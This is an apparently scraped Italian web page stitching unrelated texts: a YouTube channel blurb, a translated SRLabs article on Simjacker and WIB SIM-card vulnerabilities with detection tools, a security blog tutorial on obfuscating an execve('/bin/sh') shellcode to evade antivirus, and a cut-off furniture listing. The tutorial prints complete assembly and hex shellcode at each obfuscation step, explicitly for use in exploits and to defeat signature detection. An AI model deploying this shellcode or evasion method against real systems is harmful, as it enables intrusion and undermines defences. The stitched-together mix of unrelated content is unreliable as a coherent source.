ISCRIVITI ☛ https://www.youtube.com/channel/UCkY2A94RWJJIGWbvcoNTVgA?sub_confirmation=1
☛ LINKS
➤ Instagram • https://www.instagram.com/quantum.wizard.yt/
➤ LinkTree • https://linktr.ee/quantum.wizard.yt
➤ IP Logger • https://iplogger.org/
➤ IP Locator • https://www.iplocation.net/
☛ ATTREZZATURA
➤ Videocamera • Xiaomi Mi 9 SE
➤ Treppiede • Un bastoncino per i selfie riassemblato a mo’ di treppiede
(è per questo che a volte la ripresa diventa storta da sola)
➤ Lochescion • La mia camera con dei led RGB attaccati al retro della scrivania
➤ Illuminazione • https://www.focus.it/site_stored/imgs/0006/038/spotlesssuniss_colacurcio_960.630×360.jpg + due luci formate da tanti piccoli led messi su da un bastone della scopa
☛ MUSICA NEI VIDEO
➤ Intro • Truly Yours – DJ Quads • https://www.youtube.com/watch?v=vSg43OCTDaM
➤ Outro • Retro 80’s Funky Jazz-Hop Instrumental Music – Sundance Remix • https://www.youtube.com/watch?v=_hbnMgHgZfs
#apprendisti
✉︎ Spero che il mio lavoro vi sia piaciuto,
Quantum Wizard
P.S. Condividi i miei video, altrimenti non se li fila nessuno 🤓
Video Rating: / 5
Le carte SIM sono al centro della sicurezza della rete mobile. Alcune vulnerabilità tra cui l’hack dell’installazione di applet remote del 2013 [1] e la recente vulnerabilità di “Simjacker” [2] mettono a rischio milioni di utenti. Volevamo capire fino a che punto gli utenti devono preoccuparsi di Simjacker e creare modi per sapere se la tua SIM è vulnerabile o addirittura sotto attacco. Principali risultati della ricerca
- Circa il 6% delle 800 carte SIM testate negli ultimi anni era vulnerabile a Simjacker
- Una seconda vulnerabilità, precedentemente non segnalata, interessa un ulteriore 3,5% delle carte SIM
- Lo strumento SIMtester [3] fornisce un modo semplice per controllare qualsiasi scheda SIM per entrambe le vulnerabilità (e per una serie di altri problemi segnalati nel 2013 [1])
- L’app SnoopSnitch per Android avvisa gli utenti degli attacchi binari di SMS incluso Simjacker dal 2014. (L’avviso di attacco richiede un telefono Android con root con chipset Qualcomm.)
- Dal 2016 sono stati segnalati alcuni attacchi di Simjacker da migliaia di utenti di SnoopSnitch che contribuiscono attivamente ai dati (grazie!)
Approccio alla ricerca I ricercatori di SRLab hanno studiato le possibilità di hacking delle SIM da due punti di vista: controllare quante SIM sono vulnerabili e monitorare quante vengono attivamente sfruttate. Misurazione di carte SIM Da quando ha pubblicato lo strumento SIMtester [3] nel 2013, il team di ricerca sulla sicurezza mobile di SRLabs ha raccolto e analizzato misurazioni approfondite per oltre 800 carte SIM. Molti di questi sono stati forniti dai membri della comunità. Queste misurazioni includono dettagli su quali applet sono installate sulle schede, incluso l’applet “S @ T” scelto come target da Simjacker. SRLabs ha scoperto un secondo applet, chiamato Wireless Internet Browser (WIB), che espone funzionalità simili. Questa applet consente anche attacchi in stile Simjacker. Ogni applet su una scheda SIM è configurata con un livello di sicurezza minimo (MSL) corrispondente. Descrive quali funzioni di sicurezza devono essere abilitate in SMS nel tentativo di inviare comandi all’applet. Gli aggressori possono sfruttare solo applet in cui MSL è stato impostato su zero. Dalla nostra raccolta di 800 misure della carta SIM potremmo dedurre:
- Il 9,4% delle SIM testate ha installato l’applet S @ T
- Un sottoinsieme del 5,6% è vulnerabile a Simjacker, poiché il loro livello di protezione era impostato su zero
- Il 10,7% ha installato l’applet WIB
- Un sottoinsieme del 3,5% è vulnerabile a un attacco in stile Simjacker contro l’applet WIB
- In totale, il 9,1% delle carte SIM testate era vulnerabile agli attacchi contro S @ T o WIB
Per testare la propria SIM card per la vulnerabilità a questi e altri attacchi con SIMtester [3], consultare le FAQ di seguito. Rilevamento di attacchi su carte SIM Nel 2014, il team di SRLabs ha pubblicato uno strumento di autodifesa mobile: SnoopSnitch [4]. Tra gli altri attacchi, SnoopSnitch rileva attacchi basati su SMS binari sospetti incluso Simjacker. SnoopSnitch ha attirato oltre 500.000 utenti. Un sottoinsieme di questi utenti esegue SnoopSnitch su telefoni Android con root con chipset Qualcomm, che è una condizione preliminare per il rilevamento di attacchi binari di SMS:
- Abbiamo ricevuto segnalazioni da 8 utenti su 29 SMS OTA indirizzati all’applet S @ T
- Il primo messaggio è stato riportato nel 2016
- La maggior parte dei messaggi era indirizzata agli utenti in America Latina e in Sud America
Per monitorare il tuo telefono per Simjacker e altri attacchi usando SnoopSnitch, fai riferimento alle FAQ di seguito. Si prega di notare che gli avvisi di SnoopSnitch richiedono un telefono rootato, che viene fornito con una propria serie di problemi di sicurezza. Riepilogo attacco scheda SIM remota Per comprendere appieno le vulnerabilità della SIM, dovremmo prima discutere come funzionano i protocolli binari di SMS “over-the-air” (OTA) per le SIM. Le carte SIM sono piccoli computer all’interno del tuo cellulare. Oltre al loro ruolo principale di autenticarti sulla rete, eseguono applicazioni Java e possono istruire il tuo telefono cellulare a fare varie cose:
- Effettuare una chiamata
- Invia un SMS
- Ottieni ID cella circostanti (posizione)
- Richiedere input all’utente
- Stabilire una connessione TCP / TLS
- Apri un browser su un URL specifico
Le applicazioni sulla carta SIM possono essere gestite in remoto dagli operatori che inviano una classe speciale di SMS: il cosiddetto “OTA SMS” (classe 2, SMS binario). Le operazioni remote comuni sono l’installazione, l’aggiornamento o la rimozione di un’applicazione, la modifica dei contenuti dei file, l’esecuzione dell’autenticazione sicura che coinvolge utenti per (ad esempio) operazioni bancarie.
Il campo “TAR” (riferimento dell’applicazione Toolkit) (2) di un SMS OTA indica a quale applicazione della carta SIM è previsto il comando (3). Per motivi di sicurezza, i messaggi da / verso le applicazioni SIM possono essere crittografati e protetti contro l’integrità. Il campo “SPI” (Indicatore parametri di sicurezza) (1) definisce quali protezioni vengono utilizzate nell’SMS. Rispettivamente, sulla carta SIM, le impostazioni di sicurezza descrivono in base all’applicazione quali livelli di sicurezza SPI devono essere soddisfatti dall’SMS che tenta di controllare l’applicazione. Possono anche essere completamente disabilitati, consentendo a SMS non firmati e non crittografati di accedere a un’applicazione. La ricerca di SRLab ha scoperto che le carte SIM di più fornitori potrebbero essere maltrattate, ad esempio per il rilevamento della posizione, a causa di bug di implementazione e configurazioni di sicurezza scadenti, [ come riportato nel 2013 ]. Un MSL (livello di sicurezza minimo) è associato a ciascuna applet installata dal fornitore / operatore. Se MSL è impostato su zero, la carta SIM accetta i messaggi senza eseguire alcun controllo di sicurezza, con conseguente accesso illimitato all’applicazione. Le schede SIM con impostazioni di sicurezza non configurate correttamente sono state scoperte nel 2013 e ora appaiono di nuovo secondo i risultati di Simjacker di AdaptiveMobile. Ulteriori dettagli sugli attacchi S @ T e WIB sono disponibili in questi post del blog Mitigazione dell’attacco SIM Gli operatori di rete mobile possono affrontare i problemi di sicurezza della SIM in due modi: rimuovendo le vulnerabilità dell’applet SIM o bloccando gli SMS binari sulle loro reti. Entrambi gli approcci presentano limitazioni e si consiglia una combinazione di entrambi come best practice. Queste sono le stesse raccomandazioni fornite da GSMA e da SRLabs nel 2013 e implementate da molte reti mobili, ma non dalla maggior parte, da allora. Gli utenti non possono facilmente proteggersi allo stesso modo poiché la consegna degli SMS e la configurazione della SIM sono al di fuori del loro controllo. Gli utenti possono tuttavia verificare se una SIM è vulnerabile, utilizzando lo strumento SIMtester o se vengono attaccati, utilizzando SnoopSnitch in esecuzione su un telefono Android con root. I dettagli su entrambi gli strumenti sono forniti di seguito. FAQ La mia carta SIM è vulnerabile [SIMtester]? In breve: improbabile. Per essere vulnerabili, devono essere soddisfatte le seguenti condizioni:
- Un’applicazione con potenziale abuso è presente sulla carta SIM (ad es. S @ T o WIB)
- L’MSL dell’applicazione è impostato su zero
- Il provider inoltra SMS binari
Sulla scia dei risultati della ricerca del 2013, i fornitori di SIM e gli operatori di telefonia mobile hanno lavorato insieme per ridurre i rischi relativi agli attacchi con la carta SIM. Nessuna delle schede SIM più recenti che abbiamo testato mostra la presenza di applicazioni vulnerabili o impostazioni di sicurezza scelte in modo errato. Puoi testare la tua SIM card per la vulnerabilità a questi e altri attacchi usando SIMtester [3]. Per fare ciò è necessario un lettore di smart card compatibile [5] ed eseguire il comando seguente:
java -jar SIMTester.jar
Nel caso in cui la scheda SIM sia vulnerabile a Simjacker, l’output sarà simile al seguente:
La mia carta SIM è sotto attacco [SnoopSnitch]? Ancora: molto improbabile, basato sulle precedenti misurazioni di SnoopSnitch. È possibile installare SnoopSnitch https://play.google.com/store/apps/details?id=de.srlabs.snoopsnitch per monitorare gli SMS binari in arrivo sospetti. Per il funzionamento delle funzionalità di rilevamento degli attacchi di rete, è necessario disporre di un telefono Android con root con un chipset Qualcomm. Con la nostra app open source Snoopsnitch sei in grado di rilevare questi tentativi di sfruttamento rivolti alla tua scheda SIM. Lo sfruttamento viene eseguito inviando un SMS binario al telefono. Nel caso in cui arrivi un messaggio del genere, SnoopSnitch ti avverte con un “attacco SMS e SS7” pari.
Puoi inviarci i contenuti del messaggio per ulteriori analisi e conferma dell’accaduto.
- Puoi scaricare [ SnoopSnitch ]
- Un telefono Android con root con un chip Qualcomm è necessario per la funzione di avviso di attacco SMS
Riferimenti e crediti Vorremmo ringraziare Lakatos, ricercatore di sicurezza presso Ginno Security Lab, per il suo supporto nella creazione di payload di prova del concetto necessario per l’analisi della carta SIM. https://srlabs.de/bites/sim_attacks_demystified/
L’articolo WIBattack : come scoprire se la tua SIM è hackerabile con un semplice SMS – strumenti di protezione ora disponibili proviene da .
Una delle cose che mi è piaciuta di più, mentre preparavo l’esame per OSCE, esame che devo riprovare in questo inverno, è stata la parte di evasione dagli anti virus.
Questo ha portato a far nascere il progetto Shellerate, di cui ne ho parlato in questp post.
Oggi parliamo ancora di offuscare uno shellcode, partendo da un esempio semplice e proseguendo per passi successivi.
(Il codice utilizzato in questo post, e successivi, è presente in questo repository Github).
Trivia
Utilizzeremo una macchina virtuale Ubuntu 19.04 e compileremo il nostro shellcode a 32bit con nasm:
nasm -f elf32 _nomefile_ ld _nomefile_.o -o _nomefile_ -m elf_i386
Perché offuscare il proprio shellcode?
Il motivo alla base di questa attività è quello di mascherare il codice che vogliamo inserire all’interno di un exploit, per andare ad far eseguire del codice arbitrario al nostro processo vittima.
Lo voglio mascherare per un semplice motivo, rendere la vita difficile a chi analizza il codice dell’exploit o semplicemente per cercare di ingannare il nostro anti-virus.
Shellcode di partenza
Lo shellcode di partenza è un semplice execve(“/bin/sh”, NULL, NULL). Il codice assembler che la realizza è molto semplice, basta ricordare che nel registro EAX deve essere il contenuto il numero della system call da utilizzare e che i registri EBX, ECX ed EDX vanno utilizzati per i parametri da passare alla chiamata.
In particolare EBX dovra contenere il puntatore alla stringa del comando da eseguire, stringa che andremo a caricare nello stack; ECX ed EDX dovrebbero contenere rispettivamente un puntatore alla lista degli argomenti del comando e un puntatore alle variabili d’ambiente che si intende passare al comando. Nel nostro caso possiamo risparmiare codice e dare un NULL come valore.
global _start section .text _start: ; Executing shell ; ; int execve(const char *filename, char *const argv[], char *const envp[]); ; execve() is defined as #define __NR_execve 11 on /usr/include/i386-linux-gnu/asm/unistd_32.h xor eax, eax push eax ; The NULL byte push 0x68732f2f ; "sh//". The second '\' is used to align our command into the stack push 0x6e69622f ; "nib/" mov ebx, esp ; EBX now points to "/bin//sh" xor ecx, ecx xor edx, edx mov al, 0xB ; 11 in decimal int 0x80Per trasformare il mio codice binario in un codice eseguibile che può essere incluso poi in un exploit, utilizzo questo pipe di comandi che ho recuperato tempo fa in Internet:
objdump -d _nomefile_ |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $ //g'|sed 's/ /\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$ /"/g'La nostra shellcode di partenza è questa e non ha byte \x00 che ne impedirebbero poi l’utilizzo all’atto pratico all’interno di un exploit:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80Qui vediamo la nostra shell originale in esecuzione ed è quello che vogliamo ottenere da ogni codice offuscato, un prompt di una shell.
Primo passaggio: code refactoring
Nel primo passaggio di offuscamento, cambio il modo con cui i registri ECX ed EDX sono inizializzati a 0.
Dopo aver inizializzato a 0 il registro EAX, ne salvo il valore all’interno dello stack per 3 volte. Il primo sarà per costituire il terminatore di stringa per il comando “/bin/sh”, mentre gli altri due saranno immediatamente consumati da una POP per inizializzare i registri ECX ed EDX.
global _start section .text _start: ; Executing shell ; ; int execve(const char *filename, char *const argv[], char *const envp[]); ; execve() is defined as #define __NR_execve 11 on /usr/include/i386-linux-gnu/asm/unistd_32.h ; first rewrite: we change the ecx and edx initialization to zero with push and ; pop right after eax is being set to 0 xor eax, eax push eax ; The NULL byte push eax ; push eax ; pop ecx ; ECX set to 0 pop edx ; EDX set to 0 push 0x68732f2f ; "sh//". The second '\' is used to align our command into the stack push 0x6e69622f ; "nib/" mov ebx, esp ; EBX now points to "/bin//sh" mov al, 0xB ; 11 in decimal int 0x80Codice esadecimale dello shellcode:
\x31\xc0\x50\x50\x50\x59\x5a\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80Secondo passaggio: cambio meccanismo di inizializzazione
Nel secondo passaggio cerchiamo di complicare un po’ le cose visto che, come si può vedere dall’equivalente esadecimale il primo passaggio non ha inciso particolarmente.
Ora cambiamo il meccanismo con cui inizializziamo a 0 i nostri registri. Usiamo la matematica per mettere a 0 il registro ECX, caricando un valore costante a 32bit e poi sottraendo lo stesso valore.
Con ECX a 0, possiamo impostare EAX ed EDX a 0 semplicemente invocando l’istruzione MUL che moltiplica il valore in EAX con il valore passato per argomento, in questo caso il valore del registro ECX e memorizzando il risultato della moltiplicazione in EAX ed EDX.
; ; int execve(const char *filename, char *const argv[], char *const envp[]); ; execve() is defined as #define __NR_execve 11 on /usr/include/i386-linux-gnu/asm/unistd_32.h ; first rewrite: we change the ecx and edx initialization to zero with push and ; pop right after eax is being set to 0 ; second rewrite: we use MOV and SUB to set a register to 0, ECX in this case. ; Than we use MUL to multiply the value in EAX (we don't care which) storing 0 in ; both EAX and EDX mov ecx, 0xdeadbeef sub ecx, 0xdeadbeef mul ecx push eax ; The NULL byte push 0x68732f2f ; "sh//". The second '\' is used to align our command into the stack push 0x6e69622f ; "nib/" mov ebx, esp ; EBX now points to "/bin//sh" mov al, 0xB ; 11 in decimal int 0x80Codice esadecimale dello shellcode:
\xb9\xef\xbe\xad\xde\x81\xe9\xef\xbe\xad\xde\xf7\xe1\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80Come si può vedere, in questo caso lo shellcode che otteniamo ha effettivamente un aspetto diverso da quello di partenza. La strada è ancora lunca, ma stiamo iniziando a rendere un po’ meno leggibile quello che vogliamo mettere nel nostro payload.
Terzo passaggio: usiamo la matematica per /bin/sh
Quello che possiamo cambiare ora è il modo con cui salviamo nello stack il comando da eseguire. Per ora facciamo delle PUSH passando la codifica esadecimale di /bin/sh in modo tale che, quando verrà letta dallo stack, che ricordiamo è una struttura LIFO (Last In First Out), verrà ricostruito in maniera corretta.
Cambiamo quindi le PUSH in operazioni matematiche per valorizzare il registro EAX al valore che voglio salvare nello stack. I numeri sono stati scelti a caso, tranne ovviamente l’ultimo ADD per il quale siamo dovuti atterrare al valore esagerato. Unico vincolo era quello di non causare un overflow del registro EAX e di non superare il valore che voglio salvare nello stack per evitare di dover utilizzare anche una SUB.
Quindi, ad esempio, l’istruzione push 0x68732f2f diventa:
mov eax, 0x11223344 add eax, 0x44332211 add eax, 0x11111111 add eax, 0x020cc8c9 push eaxAlla fine il valore del registro EAX sarà proprio 0x68732f2f. Il mio shellcode in assembler diventa quindi:
; https://www.virustotal.com/gui/file/f1436a1ca76847e3425d9127a8829b0109bb8af7bf728352c3edfa886de93677/detection global _start section .text _start: ; Executing shell ; ; int execve(const char *filename, char *const argv[], char *const envp[]); ; execve() is defined as #define __NR_execve 11 on /usr/include/i386-linux-gnu/asm/unistd_32.h ; first rewrite: we change the ecx and edx initialization to zero with push and ; pop right after eax is being set to 0 ; second rewrite: we use MOV and SUB to set a register to 0, ECX in this case. ; Than we use MUL to multiply the value in EAX (we don't care which) storing 0 in ; both EAX and EDX mov ecx, 0xdeadbeef sub ecx, 0xdeadbeef mul ecx push eax ; The NULL byte ; third rewrite: we will use math to set the /bin/sh hex encoding into eax and ; then pushing eax into the stack. Please note that after this math, we will need ; to zero EAX again before setting it to 0xb ; push 0x68732f2f ; "sh//". The second '\' is used to align our command into the stack mov eax, 0x11223344 add eax, 0x44332211 add eax, 0x11111111 add eax, 0x020cc8c9 push eax ; push 0x6e69622f ; "nib/" mov eax, 0x1234abcd add eax, 0x23232323 add eax, 0x12121212 add eax, 0x26FF812D push eax ; now everything in the stack is setted up. We need to set EAX back to 0. ; Instead of using MUL ECX again, that it is a working method, I want to use math ; for that. I will start from a costant value, I will calculate its NOT and then ; I will put those two values in AND so to have 0 as final result. mov eax, 0xdeadbeef and eax, 0x21524110 mov ebx, esp ; EBX now points to "/bin//sh" mov al, 0xB ; 11 in decimal int 0x80Una volta compilato, ottengo il seguente esadecimale:
\xb9\xef\xbe\xad\xde\x81\xe9\xef\xbe\xad\xde\xf7\xe1\x50\xb8\x44\x33\x22\x11\x05\x11\x22\x33\x44\x05\x11\x11\x11\x11\x05\xc9\xc8\x0c\x02\x50\xb8\xcd\xab\x34\x12\x05\x23\x23\x23\x23\x05\x12\x12\x12\x12\x05\x2d\x81\xff\x26\x50\xb8\xef\xbe\xad\xde\x25\x10\x41\x52\x21\x89\xe3\xb0\x0b\xcd\x80Ad una prima occhiata è nettamente diverso dal codice di partenza anche se non rappresenta alcuna difficoltà per un qualsiasi membro di un blue team.
Off by one
Offuscare il codice attraverso il refactoring e la riscrittura creativa di istruzioni è una cosa estremamente divertente, che ci permette di ripassare il nostro assembler e che ci permette di costruire un exploit con un payload che difficilmente verrà rilevato da un approccio solamente basato su signature.
Nella seconda parte, continueremo il lavoro del nostro ufficio degli affari semplici e andremo a complicare ancora di più il codice assembler della nostra execve.
Enjoy it!
Codice Insicuro, blog di Cyber Security, sviluppo sicuro, code review e altro.
Il Pouf Leggero è più di una semplice seduta: si reinventa facilmente diventando un tavolino da salotto, un comodino o un poggiapiedi. Disponibile in due colori classici, nero e bianco caldo (panna). Diametro: 55 cm, altezza: 36 cm. Colore: nero.
- Questo versatile complemento d’arredo è al contempo una seduta, un tavolino da salotto, un comodino e un poggiapiedi!
- Morbido ma solido e dal profilo ondulato.
- Realizzato con polietilene reticolato, praticamente indistruttibile – dunque durevole e di grande comfort.
- Il Pouf Leggero è impermeabile.
- E’ facilmente trasportabile, pesa soltanto 2,25 kg!
Il Pouf Leggero è un mix elegante di tecnologia e design moderni, che può essere utilizzato come seduta, tavolino da salotto, comodino o poggiapiedi. Si adatta perfettamente a ogni tipo di ambiente: dalla sala da pranzo più sofisticata alla camera di un teenager. La grazia e l’eleganza della sua struttura a spirale, unite alla superficie a onde, rendono il Pouf Leggero unico nel suo genere. Grazie alla materia prima di cui è composto, ovvero il polietilene reticolato, risulta comodo e al con
Prezzo di listino: EUR 78,00
Solo per oggi su Amazon: EUR 78,00
- 1
- 2